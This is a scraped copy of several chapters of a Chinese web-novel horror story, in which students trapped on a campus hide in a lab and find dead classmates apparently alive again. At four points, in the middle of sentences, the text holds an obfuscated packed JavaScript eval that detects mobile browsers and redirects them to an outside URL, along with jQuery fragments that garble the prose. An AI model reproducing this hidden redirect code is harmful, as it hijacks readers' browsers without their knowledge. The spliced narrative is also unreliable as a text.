蔚迟很头大:“高求索,你觉得我是个会开玩笑的人吗?” “蔚迟,我应该学习你的幽默。”高求索的心志坚如磐石,不动如山,他看了看手机,“不过我得提醒你,现在离愚人节还有三个多小时。” 天杀的,今天好死不死是三月三十一号。 蔚迟很心累:“……你要想清楚,如果你现在走了,离开我的视线,下一次我再见到你,就不会再相信你了,因为我无法确认你还是不是现在这个你。” 高求索:“蔚迟,演得很像。” 话到此处,蔚迟也无话可说了,总不能把人绑走。 等高求索走了,蔚迟问孙永:“你信?” 孙永:“不太信。” “那你?” 孙永:“反正今天没网,也开不了黑,跟你们闹闹一样的。” 行吧,不管什么原因,不惹事就行。蔚迟想。 “迟迟。”纪惊蛰很认真地问,“那咱们现在去哪儿?” 蔚迟看了他一眼:“其实你也不信吧?” 纪惊蛰:“我信啊,你说什么我都信。” 孙永:“你俩可悠着点吧,没眼看了都。” 而蔚迟在想的实打实的是怎么活下去——如果市二院的医护人员是最危险的怪物的话,那在这所学校里是谁来扮演这个角色呢? 教职工? 可今天教职工都不在。连校医和保安都不在。 他们会出现吗? 会在什么时候出现? 会扮演市二院里医生护士的角色吗? 那是不是说明现在暂时没有危险? 如果宿舍楼可以替换成病房的话,是不是说明他们要去搞宿舍楼的查房时间表? 可宿舍楼阿姨并不在,谁来查这个房? 不不不……不能完全套着市二院来想…… 纪惊蛰又叫了一声:“迟迟?” 蔚迟说:“去工作室呆一晚吧。” 蔚迟的导师明天出差,应该不会来学校,因为他们专业有很多时候需要通宵守着记录培养皿反应,工作室还有床和冰箱,可以对付一晚。 纪惊蛰本来提议说去酿酒学教学楼那边的,蔚迟想到那条唯一过去的林荫道,觉得这实在不是个好的选择。而且就市二院那时的经验来看的话,想要出去,一味地躲是不行的。 打定主意,三人开始往教学楼走。 没走多远,蔚迟忽然听到身后有人在叫自己的名字。 几人回头一看,只见一个血人朝他们狂奔过来,似乎还戴着眼镜,镜片上映着路灯一片雪亮的白光。 “卧槽这啥玩意儿?!”孙永撒腿就跑,蔚迟和纪惊蛰也不敢落后。 那血人跑得不算太快,至少没有他们三跑得快,他们一跑,距离就被拉开了。那血人还气喘吁吁声嘶力竭地喊蔚迟的名字,就在快要完全把那东西甩掉的时候,蔚迟忽然说:“等等!” 孙永脚下一刻不停,问:“怎么了?” 蔚迟说:“好像是高求索!” 纪惊蛰:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350166|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你刚刚不是说不管他了吗?” “可是……”蔚迟放慢脚步,最后停下来,“……听听他要说什么吧。” 纪惊蛰也停下来。 孙永放慢了一点速度,但还在跑,急道:“蔚迟!你疯啦?” 蔚迟说:“你们跑远一点,如果情况不对,就再跑。” 孙永又骂了一声,跑到五十米开外的一棵行道树后面藏住了。 蔚迟又催纪惊蛰:“你跑啊!” 纪惊蛰嘴巴一噘:“我不!” 蔚迟:“这时候了你闹什么?” 纪惊蛰:“我要跟你在一起。” 蔚迟:“你!” “蔚迟!蔚、蔚迟……” 还没争出个结果,那边血人已经转过最后一个拐角,追近了。只见那东西步履虚浮,气喘如牛,着实不像个能杀人如麻的类型。见到蔚迟和纪惊蛰站在原地像在等他,他一下子速度也放慢了,踉踉跄跄朝两人走过来。 蔚迟硬着头皮道:“高求索?” “是我啊!呼……呼……”那人走过来,在他们面前撑着膝盖大喘气,“你们跑什么……呼……呼……” 距离够近,路灯也够亮,能看得清楚,的确是高求索。这家伙正面从头到脚都是血,呈点状,像被喷溅到的,身后则没有。 蔚迟说:“你怎么证明你是高求索?” 高求索哭丧着脸道:“我不该不信你!我也不该提愚人节!” “你刚刚为什么要摸我?”纪惊蛰说,“走之前为什么掐我腰?” “我什么时候摸你了?”高求索目瞪口呆,“刚刚我站在你对面,根本就没有挨着你,怎么可能摸你?!” 纪惊蛰又盯着他看了几秒,转头朝蔚迟皱了皱鼻子:“看来是真的高求索。” 高求索:“我当然是真的高求索!” 蔚迟:“所以你遇到什么了?” 高求索吞了吞口水,又心有余悸地往后面看了看,小声说:“邓欢死了。” 看他们这边情况良好,刚靠过来的孙永道:“什么?” 高求索:“邓欢从宿舍跳下来了,头着地,就栽在我面前。” 邓欢跟孙永同班,可以说是一起吹牛打屁泡夜店的好兄弟,孙永还是不敢相信:“你确定?” 邓欢之前常常来找孙永,会在他们宿舍抽烟,高求索非常不喜欢烟味,同时把邓欢那张讨厌的脸记得很牢。他笃定地点点头。 蔚迟:“……所以?” 高求索:“我不敢回宿舍了!我不回了!我不该不信你!” 纪惊蛰在一边凉凉道:“这你就信啦?万一邓欢就是有什么事想不开,自己跳了呢?” “哪有这么巧的事?”高求索义正辞严,丝毫没有自己反驳自己的自觉,“真就那么巧食堂就塌了?你看到杨可死了?邓欢正好就跟杨可住一宿舍?谁会拿自己的命来开玩笑?” 宿舍全员重聚,再次向教学楼进发。 蔚迟不敢坐电梯,带着人走楼梯上楼。楼梯墙上贴满了生物学院的教师介绍,一个个表情庄严的大头照在墙上冲来人微笑。 蔚迟忽然意识到自己似乎忽略了一件事。 他微微侧头,压低声音问跟在后面的纪惊蛰:“你签约了吗?” 纪惊蛰:“什么?” 蔚迟:“讲师。” 纪惊蛰:“签了啊。” 蔚迟:“这么说……你已经是我们学校的老师了?” “是啊。”纪惊蛰奇怪地皱了皱眉,“怎么了?” 蔚迟感觉自己嘴角很僵硬,大概笑得很难看,只能狼狈地转回头去:“……没什么。” 25. 三青大学6 蔚迟一路上带他们弄清楚了教学楼的构造,如果出了什么状况还能分头跑。 蔚迟的工作室位于四楼,很宽敞的一间大实验室,有前后两道门出入。屋子中央整整齐齐放了十多张实验桌,上面摆着密密麻麻的实验器具。窗边有一张沙发,后门后面有一张折叠钢丝床,前门后面有个小冰箱,啤酒和死青蛙放在一起,相当离谱。 孙永下意识就要去开灯,手在黑暗中摸索了片刻,忽然被人抓住了。 抓住他的那只手又冷又硬,像一只铁箍,他瞬间就觉得头皮一凉。 那手很快放开了他,随即他听到纪惊蛰的声音:“别开灯。” 孙永这才呼出一口气来,惊魂甫定,心脏还强力地撞击着胸腔,问道:“为什么?” 纪惊蛰说:“我看到杨可去把他们宿舍的灯打开了,我觉得这不是什么好兆头,就去把咱们宿舍的灯关上了。” 高求索道:“原来咱们宿舍的灯是你关的?” 纪惊蛰:“是啊。怎么了?” “没什么。”高求索说,“我就说我不会看错。” 孙永捏了捏僵硬的手腕,嘟囔道:“这么黑怎么看到我要开灯的……” 纪惊蛰没听清:“什么?” 孙永:“没什么,夸你眼睛好。” 他们说话的功夫,蔚迟已经把钢丝床铺好了,安排道:“孙永、高求索,你俩睡床吧。” 孙永:“成啊,那你俩呢?” 蔚迟:“我俩睡沙发。” 纪惊蛰跟着蔚迟走到窗边的沙发旁,正要说话,就听到那边孙永在催高求索去洗洗,一身血。 蔚迟说:“从现在起,咱们最少两个人一起行动,别让对方离开自己的视线。” 然后孙永就和高求索一起去洗漱了。 他们出门的时候,纪惊蛰又叮嘱了一遍:“别开灯。” 等两人一走,房间里便只剩下蔚迟和纪惊蛰。 蔚迟在沙发上坐下,纪惊蛰坐在他的旁边。 拜光污染所赐,夜晚的天空也不是全黑,借着那一点光,蔚迟可以看清纪惊蛰的脸。纪惊蛰的轮廓非常深刻,在这样的光线条件下有一半完全黑暗的阴影,而有光的地方被分割成非常锋利的形状。 蔚迟觉得自己应该害怕,可怎么也怕不起来。 纪惊蛰看了他一会儿,忽然用手背轻轻抚了抚他的侧脸,道:“迟迟,你太累了,休息吧。” 蔚迟点点头,叫纪惊蛰躺里面去。 要说起来,蔚迟和纪惊蛰两家还真有缘分,两人三岁就成了邻居不说,幼儿园放暑假的时候俩小孩在乡下老家还又遇到了——蔚迟的姥姥和纪惊蛰的爷爷竟然是一个村的。于是两小孩一起上学放学,连放假避暑也在一起。纪爷爷给纪惊蛰准备了可供三岁小孩七进七出的凉席大床,纪惊蛰不睡,偏要和蔚迟挤那张不到一米的破木板床,睡觉还不老实,经常正着睡倒着醒,给小蔚迟折磨得,年纪轻轻练就了抓把手睡觉,把人锁在墙壁和自己中间的神功。 纪惊蛰后来长得慢,一直比蔚迟小几号,再一起睡也一直是蔚迟睡外面。 这回纪惊蛰却不干了:“你睡里面。” 蔚迟一方面习惯使然,一方面理智尚存——纪惊蛰现在还是纪惊蛰,难保不像周迎春一样变怪物——睡外面跑不跑得掉不一定,但睡里面是一定跑不掉的。 遂坚持要睡外面。 纪惊蛰拗不过他,只能侧躺在里面,恨不得在沙发后背上贴成一张饼,给他腾出更大的空间。 这时孙永和高求索洗漱完回来了。 那两人也没走近,不知道怎么看清楚的,就听孙永在那里小声笑:“哟,耍杂技呢?” 蔚迟:“闭嘴,睡你的觉。” 高求索端端正正躺到床上,默念:“我今天的任务没有完成,提前三小时睡觉,明天提前三小时起床。”没过三分钟,就听到他悠长的呼吸。 蔚迟本来以为自己会睡不着,没想到没一会儿就开始迷糊。 正在即将睡着的当口,他感觉到鼻尖忽然碰到了一片温热的胸膛——纪惊蛰一直憋着气绷在沙发背上,这会儿实在绷不住了,软下来往下一滑——同时一只有力的手揽住他的腰背,将他往里一拉,于是他整张脸都跟那片胸接触得更扎实了。 他听到纪惊蛰的小声嘀咕:“这睡得也太惊险了,屁股都挂在外面,睡个屁。” 蔚迟感觉自己被纪惊蛰完全包裹了,从身体,到气味。 他被迫又清醒了几分,那个一直想问没敢问的问题又浮现在脑海:灯是你关的,那是谁开的呢? 但这一次,他仍旧没有问出口。 他佯装睡着,翻了个身,以后背贴着纪惊蛰的胸腹,纪惊蛰的手就揽在他的肚子上。 蔚迟再醒过来的时候窗外还是漆黑一片,孙永的呼噜和高求索的磨牙声此起彼伏。 他愣了几秒,瞬间清醒。 他意识到自己正一个人躺在沙发上。 纪惊蛰不在。 他坐起来,身上滑下去一个东西,是纪惊蛰的外套。 然后他看到门口站了个人。 一道高大的黑影,脊背笔直,站在门里面,透过门窗往外看。 是纪惊蛰。 蔚迟犹豫了一下,爬起来,慢慢朝纪惊蛰靠近。 等站到纪惊蛰身后,他又犹豫了。 他不知道该怎么办,好像忽然遇到了薛定谔问题,不知道转过身来的纪惊蛰会有着怎样的一张脸。 结果是纪惊蛰先转过来,看到身后站了个人,吓得往后一蹦。 待看清楚了是他,压低声音道:“迟迟,你干嘛站这儿啊?你要吓死我啊?” 蔚迟:“你站在这儿干嘛?” “嘘。”纪惊蛰说,“你听。” 两人都不说话了,走廊上的声音便明显起来。 是人走动的声音。 时快时慢,时断时续,像鞋底很硬的那种板鞋发出来的,在楼廊中留下空洞的回音。 蔚迟:“什么东西?” 纪惊蛰:“不知道啊。我听了一会儿了,好像是从上面一直下来的。” 两人又贴着门听了二十多分钟,那脚步声停了。 又在门口蹲了一会儿,没听到别的什么了,纪惊蛰说那睡觉去吧。 蔚迟说你还睡得着? 纪惊蛰又说那不睡咋办吧? 走回去往沙发上一躺,朝蔚迟张开双手:“迟迟,来困觉昂。” 蔚迟踢了他一脚,搬了几张椅子拼一起,往上一躺,自己睡自己的。 早上蔚迟一醒,就听到孙永在一边调侃:“这咋还分床睡上了呢?” 蔚迟翻身坐起:“你能不能闭上你那张嘴。” 他掏出手机,一看,6:58。 高求索在一张实验桌前正襟危坐,正在背单词,抽空说了一句:“坏消息,今天依然没网。” “而且今天是愚人节。”孙永道,“等同学们起来看到宿舍楼下的尸体,可能一生都不会再过这个节日了,真惨。阿门。” 高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350167|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求索:“孙永,我说过你很多次,你的信仰体系非常驳杂且不严谨,最好不要说出那些你自己根本搞不明白的词汇。” “你严谨?”孙永反唇相讥,“你严谨昨天哭着找蔚迟?一个邓欢把你二十多年的信仰体系一下子就摧毁了吧?” “反对!我并没有被摧毁!”高求索道,“我只是承认昨天发生的事件有违背常理的地方,但‘解释可以待定’,这不是我否定我建立的理解世界的方式的理由!而且,我并没有哭。” 孙永:“行行行,我惹不起你!” 站在窗边往外看的纪惊蛰说:“你们听。” 众人安静下来,听到钟楼的钟声。 蔚迟又看了看时间,七点整。 不过今天他们的闹钟并没有响。 蔚迟站在窗边观察了一下校园——早晨七点的学校清明而寂静,鸟雀将醒,有零星的好学者——诸如高求索这样的——会拿着小词典散步背诵。操场上也开始有晨跑的人。 他在窗边观察了大概五分钟,道:“我们去吃早饭吧。” 学校食堂的早餐供应时间是七点到九点,他们七点十五分到达食堂,但食堂没开门。 孙永道:“我还在纠结食堂敢不敢进呢……合着根本就没有开。” 蔚迟:“那去小卖部吧。” 小卖部也没有开。 孙永:“这咋整?我们昨天晚饭就没吃,这不是要饿死?” 蔚迟:“……这只是最小的问题。” 孙永没明白:“怎么?” 高求索道:“这意味着教职工仍没有进入学校。” 蔚迟:“跟上一次我遇到的情况不一样,这次我们不知道危险会来自哪里。” “总要先把吃的准备好。”纪惊蛰说,“进去吧。” 刚刚其他人在说话的时候,他站在小卖部门前弄锁。用钥匙打开的那种老式铁锁,现在正被他拎在手里转着玩。 孙永:“厉害啊兄弟,还会开锁?” 纪惊蛰:“迫不得已。” 高求索却道:“监控呢?偷窃会被退学的。” 蔚迟懒得再与他掰扯:“那你在这儿等着,我们进去拿。” 他们主要搬了矿泉水和全麦面包,孙永非还要带一个旺旺大礼包,被蔚迟踹了一脚。 他们把东西带回了教学楼,在蔚迟的工位下面藏好。 这时孙永要去上厕所,高求索拒绝陪他去,于是纪惊蛰陪他去了。 蔚迟蹲在桌子下面清点物资,高求索忽然凑到他身边来,递给他一个东西,是一把锁,蔚迟觉得很眼熟。 高求索说:“走的时候纪惊蛰挂回小卖部了,但没锁上,我就顺过来了。” 蔚迟:“这时候你不怕偷窃退学了?” 高求索神情很严肃:“你看看。” 蔚迟才仔细去看那个锁,看得心里一惊。 只见那黄铜锁身上有一道细细的裂缝,锁扣不上了,摇一摇还有零碎的撞击声。 高求索说:“我观察过了,锁里面的结构都被震裂了……但是纪惊蛰当时根本没有用任何工具。” 这时门忽然被撞开,孙永惊恐地冲进来,差点栽在地上。纪惊蛰跟在他后面。 “高求索!邓欢根本就没有死啊!”孙永惊魂未定,情绪相当激动,“我看到他了!” 蔚迟不动声色把锁收进兜里,跟着高求索站起来。 高求索:“不可能!肯定是他!” 孙永:“所以这才是真正的愚人节节目是吗?” 26. 三青大学7 高求索带路,几人去了昨天邓欢“落地”的地方。 道路平阔干净,一点痕迹都没有。 连高求索这种人都不得不怀疑了自己一下,在附近又转了几圈,还是没找到任何痕迹。 高求索:“这不可能!我记得很清楚,他就落在13号楼第三和第四间宿舍中间!我十三岁之前有过目不忘之能!现在的记忆力虽然衰退了一些,但以我的智商和瞬时记忆能力,这种简单场景我是不可能记错的!” 孙永:“编,继续编。” 高求索:“我编什么了?” “都冷静一点。”蔚迟拦在两人中间,“孙永,你觉得高求索会开愚人节的玩笑?” 孙永的表情相当可怕,眼睛瞪大,其余五官很严肃,睫毛和唇角却在发抖。蔚迟在张宇凡脸上看到过这样的表情,他心里“咯噔”一声,没想到平时自诩天塌了当被盖的孙永这么不禁吓,真是人不可貌相。 孙永勉强镇定了一下,说:“不,现在是一个选项,是相信死人复活,还是相信高求索会开玩笑?是你你会怎么选?” 蔚迟看了高求索一眼,道:“死人复活。” 孙永脸都气白了:“你是主观影响判断!” “孙永,我能理解你,你觉得现在的事很荒缪,而且今天的日期也的确很荒谬,其实我也觉得荒谬。”蔚迟说,“但我可以用人格担保,这不是个玩笑。我跟你讲过,在我之前遇到的那件事里,那个世界,白天和黑夜分得很清楚,白天很有可能是安全期。现在才过了一个晚上,你至少坚持到今天晚上吧?” 孙永嘴角抽了抽,最后说:“行,蔚迟,我信你这一次。” 蔚迟话锋一转,去问高求索:“能把昨天的情况详细说说吗?” 高求索便开始回忆。 不可否认,他昨天的确是被蔚迟说得有点毛毛的,走回宿舍的路上,老觉得身后有东西。他知道恐惧是人类的天性,他也承认自己会被这样的天性影响,他有点想快点跑回去,但仍选择与这种天性对抗。他保持着正常的步调,在心里默念李华的《吊古战场文》,同时感官被完全调动起来,变得非常敏感。 他路过澡堂出口,路过关门了的学生后勤处,路过垃圾桶,转过弯,看到这一排第一间宿舍房间窗台上,宿舍阿姨养的杜鹃花又开了一朵。他再往前,看到左手边那辆落满了灰的橙色摩托车,这车已经在这里停了好久了——至少两星期了吧?右边能看到这排宿舍第二间房的窗台,上面放了一只伤心蛙,上次看它还是正对街道,现在却变成了面壁思过的样子。第三间房的窗台……嗯,一直没放过什么东西,今天也没有,就是灰多…… 这时候,有个东西几乎是擦着他的鼻尖砸到了地上,发出一声巨大而沉闷的撞击声,然后是溅了一身的液体…… “我就站在这里。就这里。”高求索站在第三和第四间宿舍中间的水泥地上,指着脚下的地缝,“邓欢头朝地,砸在了我面前。” 他很快认出了邓欢那张脸——邓欢和孙永都在中外合资的商学院,中外合资,说明白点,就是砸钱进来的富家子弟,刷个学历就要出国的,相当纨绔且不拿学校规矩当回事。邓欢是其中典型,剃了个寸头,额角还有一道字母纹身——虽然整个头颅都被这一砸砸得扁了三分之一,但高求索还是很容易地认出了那行纹身。 《吊古战场文》无论如何也背不下去了,他的脑子一片空白,张嘴想喊个什么,却发不出声音。他疯了一样撒腿跑起来,边跑还边想打电话报警,结果没有网络也没有信号。他感觉到更加巨大的恐惧汹涌而来,淹没了自己,只有奔跑的时候要稍微好一点。他彻底臣服于了自己的恐惧,并且深刻认识到人性与理性的脆弱…… “但这显而易见,是不可能的。”纪惊蛰蹲在高求索脚边,研究他指的那一块地,“以你昨天被溅的那一身血的情况来看,邓欢一定是从高层坠落的,落地那一瞬间的动能之大,绝不可能没有痕迹,这就是普通的水泥地而已。” 孙永帮腔:“就是!” 高求索着急道:“所以我也不知道这是怎么回事啊!” 不过这些事情对蔚迟来说,只是更接近上次的恐怖世界而已——毕竟他亲眼见过尸横遍地的医院大厅是如何在第二天焕然如初的。 蔚迟问孙永:“你今天看到邓欢,是什么情况?” 孙永道:“就是正常打招呼啊,他还叫我今天中午去天台打桥牌。” 蔚迟说:“你可以去。” 孙永:“什么?” 蔚迟:“我推测,白天应该是安全的,你只要在七点以前回来就行。” 孙永想了想,说:“我不!我就要跟着你们看看你们在搞什么幺蛾子!” 几个人又在校园里绕了一圈,确定没有任何教职工出没。 蔚迟想到在市二院破解问题的关键,就是心脏科和太平间,认为这边大概率也是异曲同工。他们着重去观察了另外几个没塌的食堂,食堂都没开门,人也不敢溜进去,怕再塌。学校食堂是外包出去的,公司都在校外,暂时找不到什么更多信息。 几人最后决定去校长办公室看看。 三青大学是理工科大校,主教学楼和行政楼合为一体,整体庄严宏伟,基本的理工科研究院都在其中。蔚迟所在的生物楼位于主教学楼东侧,而校长办公室位于中部行政区域。 校长办公室在最高的十六楼,几个人硬生生爬上去。 纪惊蛰爬得最快,等蔚迟他们赶到校长办公室的时候,纪惊蛰已经把门打开了。 蔚迟进门的时候着重留意了一下门锁,这回没有发现什么破损的痕迹。 校长办公室看上去很简约,只有一张红木桌和两张皮椅,还有一面书柜。 墙上贴着五星红旗和领导人的照片,书柜上摆满了奖杯和书。纪惊蛰打开玻璃柜门,拿出一罐红皮茶叶,拧开闻了闻,嫌弃道:“啧,假的。” 蔚迟正在用手机拍照片,回头说他:“你能不能严肃一点。” “蔚迟。”高求索叫道。 蔚迟走到高求索旁边,高求索正在查看校长的抽屉。抽屉已经打开了,明显被翻动过。 蔚迟道:“已经有人来过了。” 纪惊蛰也走过来:“那人很惊慌。” 孙永问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350168|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么?” “他很注意。”纪惊蛰指着干净的桌面,“他把一眼就能看到的东西都收拾整齐了,但是抽屉里面、书柜内层,都是翻乱的。” “还有笔帽。”蔚迟拎起桌子右手边没盖笔帽的钢笔,“那个人在写什么,没来得及盖笔帽,就匆忙走了。” “或者是校长本人。”纪惊蛰说,“他在写什么东西,要离开一段时间,应该是很短的一段时间,比如上厕所,或者被某个老师叫出去了一下,很快就能回来,但最后并没有回来。” 高求索开始翻动桌上摆得端端正正的一个本子,大概是校长的记事本,摊在面上的一页是空白,前一页被撕走了。 “这个我来。”孙永挤过来,用铅笔拓字法拓出了被撕掉那页上写过的内容。 是一个“楼”字。 孙永:“这什么意思?” 纪惊蛰:“谁知道。” 蔚迟把办公室的各个边边角角都拍了下来,道:“先走吧。” 回到蔚迟的教室,已经有其他人在了,都是蔚迟的同门师兄弟,纷纷抬起头跟蔚迟打招呼。 蔚迟一一回过,走到座位前面开始研究刚刚拍下来的照片。 “我有点在意这个。”纪惊蛰站在他旁边和他一起看手机,指出一张照片——那是校长桌子最上面的一个抽屉,里面放了几张零钱,还有指甲刀、钥匙链、袖扣、救心丸这些中年男人平日里比较常用的东西,摆放比较随意,顺手就能拿到。但在柜子的更深处,有一张贴在柜子最内立面上的纸,上面画了一个繁复的黑色图案。 纪惊蛰说:“有人知道这是什么吗?” “有点像某种宗教图腾。”高求索推了推眼镜,他是历史系的,本科论文跟民间信仰民俗研究相关,在这方面顶得上个专家。他又仔细看了看,道,“这种形制笔法,有点像西北那边的东西……我需要点资料才能确定。” 几个人便决定去图书馆查资料。 半路上,蔚迟正在注意听着纪惊蛰和高求索讨论某些民间宗教问题,忽然被一个人拦了去路。 蔚迟认出她,是顾佳佳。 顾佳佳穿着白裙子,显而易见是回去换了衣服,抱着一叠书,还化了点淡妆,跟昨天那个在医务室哭天抢地的女孩比起来体面了不少。但这显然也不是她的正常状态,她正对着蔚迟他们,表情相当一言难尽,又恐惧又飘忽,硬要说的话,大概会在某些江湖骗子嘴里被叫做“乌云盖顶、印堂发黑”。 孙永犹豫了一下,问:“……你怎么了?” 同时有另一伙人也在问:“佳佳,你怎么了?” 顾佳佳吞了吞口水,勉强笑起来,冲那伙人回道:“遇到几个朋友,聊一会儿,你们先去吧。” 蔚迟他们看过去,见那伙人正是昨天在食堂遇见的那伙人,被压了半截的刘知远也在其中,明明昨晚还垂危得很,现在已经好好地站在那里。一行人穿着球服,抱着篮球,装备齐全,显然是正要去打篮球。 见状,刘知远表情有些不好,一眼扫过蔚迟几人,目光在纪惊蛰脸上停留了几秒:“佳佳,我怎么没听你说起过这些朋友?” 27. 三青大学8 刘知远:“佳佳,我怎么没听你说起过这些朋友?” 顾佳佳很明显地抖了一下,还是勉强笑着:“……是我社团的朋友。” 刘知远:“哪个社团?” 顾佳佳还面对着蔚迟他们,她慌乱的神色被几人尽收眼底。她咬着嘴唇犹豫了一下,又看了蔚迟他们一眼,道:“是……是……” “诶哟佳佳~”纪惊蛰忽然嗲声嗲气地开口,冲刘知远一指,“这就是你男朋友吗?这么帅?” 顾佳佳也有点懵,表情很空白地看着他。 纪惊蛰并不消停,没有骨头似的往蔚迟身上一靠,又道:“但是没有我家迟迟帅~” 那伙人里有谁小声地说了句“基佬啊”,刘知远的脸色好看了几分,但还是在问:“哪个社团的?” “动漫社啊。”纪惊蛰说,“你又不陪佳佳来,还要管佳佳交了什么朋友,哪有这样的道理?” 顾佳佳顺势说:“你们先去玩吧,我和他们说会儿话,等会儿去球场找你。” 刘知远又看了蔚迟一眼,跟顾佳佳说:“行。” 等那伙人走了,顾佳佳明显放松下来,站在原地眩晕了一下,蔚迟扶了她一把。 “谢谢。”顾佳佳小声说。 “不用。”蔚迟又看了看,确定那伙人走远了,问,“到底怎么回事?你遇到什么事了?” 顾佳佳也朝那伙人走远的方向望了一眼,回过头来,那种惊惧的表情再次出现在了她脸上,她几乎快要哭了:“我……我不知道、我不确定……但我觉得、我觉得他死了……” 孙永也抖了一下:“谁?” “刘知远。”顾佳佳嘴唇颤抖着,“我男朋友。” 孙永:“他刚不还好好的站那儿的吗?” 顾佳佳的表情变得更扭曲了,又惊恐又悲伤:“我、我不知道……可是、可是……他明明死了啊……” 蔚迟把她往路边带:“你别怕,慢慢说。” “昨晚……昨晚你们把马益新送回来之后,他的情绪一直很激动,说、说宋波死了。” 马益新和宋波就是昨天去紫水晶花园翻/墙的那两位,马益新是被吓昏的那位,宋波是炸了的那位。 “没办法,当时医务室也找不到老师,马益新的情绪也一直很崩溃……知远、刘知远那个状况,那么多人守在那儿也没用,我们就安排马益新他们几个室友陪着他回去了。”顾佳佳道,“知远、知远伤得很重,一直在发烧,我很害怕……医学院的几个学长已经在这边帮了一天的忙,说能用的办法都用了,坚持不住要回去休息了……那种情况,我也理解,都还只是医学院学生,哪里敢背一条人命那么大的锅……我没留他们,只和我闺蜜彭慧在医务室等着……” 顾佳佳一直在发抖,蔚迟把外套脱给了她,她僵硬地接过去披在肩膀上,继续说:“过了一会儿,彭慧也靠着我睡了。我坐在陪护椅上看着知远……走了一会儿神。等我再回过神来,我意识到,知远的呼吸没有那么艰难了——他一直在发烧,呼吸很困难——不,其实是……看起来完全没有在呼吸。” 晚上非常安静,她在学长们走后没多久,一团乱麻的脑子突兀地闪过了蔚迟叫她不要开灯的画面,于是她去把灯关了,关了之后都没怎么意识到自己把灯关了。这时候她坐在黑暗里,只能借着外面的一点天光看到刘知远静谧的轮廓,她觉得,他过于静谧了,可以说完全没有动。鼻翼没有动,胸口也没有动,哪里都没有动。 她坐在那里,经历了很长时间的耳鸣。之后,伸出手去确认。 刘知远没有了呼吸,也没有了心跳。 她感到荒谬。 她没有想到,根本不会有这样的概念——一个平日里体格健壮的成年男人,会在现代社会的一所一流学府中,因为缺少救治,就这么死了。 她僵直着脊背,直挺挺地坐着,直到晨光微熹。 彭慧的脑袋在她肩膀上一动,醒了过来,问她几点了。 她看了一下手机,六点零四。彭慧又问她,没出什么事吧? 她想了想,跟彭慧说:“我要回去换一下衣服。” 彭慧换了个姿势,要继续睡:“去吧,我在这儿等你。” 她没有跟彭慧说刘知远死了的事情,彭慧神经很大条,自己估计不能发现。 她决定回去换一身体面的衣服,再来送刘知远。他俩是小学同学,高中开始谈的恋爱,虽然时有争吵发生,但基本已经确定了在未来里彼此的位置。她想在太阳升起来的时候体面地送刘知远走,之后她将会有很多事要做。 可等她洗了头、换了衣服、化了妆,再回到医务室,彭慧却跟她说刘知远不见了。 “我一醒过来就没看到他。”彭慧说。 说到这儿顾佳佳顿住了,孙永追问:“后来呢?” “后来,我就在教室找到他了。”顾佳佳说,“他,还有他们平时玩得比较好的一群朋友,马益新、宋波都在,什么事都没发生过一样,坐在一起吹牛。我去问他腿怎么样了,他很奇怪我为什么这么问他,他们那一圈人完全不记得昨天的事情了。我又问马益新,昨天和宋波去翻/墙的事……他们甚至装自己不知道哪堵墙可以翻出去……我又去问彭慧记不记得昨天的事情,她昨天在宿舍睡觉,下午才被广播叫起来,就听说北区有事,学校要应急处理,但不知道具体是什么事,晚上跟我一起守夜的事情倒还记得,不过她好像很相信这些事都是刘知远给我准备的愚人节惊喜……我、我又问他们昨天北区食堂塌了的事他们总记得吧,结果没人记得!好像昨天发生的一切都是我一个人的臆想!” “可是!可是!”她的五官完全皱缩起来,非常困惑和崩溃的样子,声音开始明显发抖,“可是他变得那么冷……那么硬……我很确定,那是跟活人的皮肤完全不一样的触感……那种、那种感觉我现在还能感觉得到……”她看着自己的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蔚迟诚实道:“我不知道。我只能说,在上一个世界中死去的那些人,还是活着回到了现实的。” 顾佳佳低下头,不再追问。 蔚迟和顾佳佳肩并肩走在最前面,过了一会儿,纪惊蛰凑过去找蔚迟要水喝,他的水是放在蔚迟背包里面的,喝完以后,他就顺势走在了两人中间。 顾佳佳便抬头问他:“你怎么知道我是动漫社的?” 纪惊蛰伸手碰了碰她挂在包上的钥匙扣,是学校动漫社特制的。 顾佳佳又问:“那你怎么知道刘知远不陪我去动漫社?” 纪惊蛰耸耸肩:“猜的。” 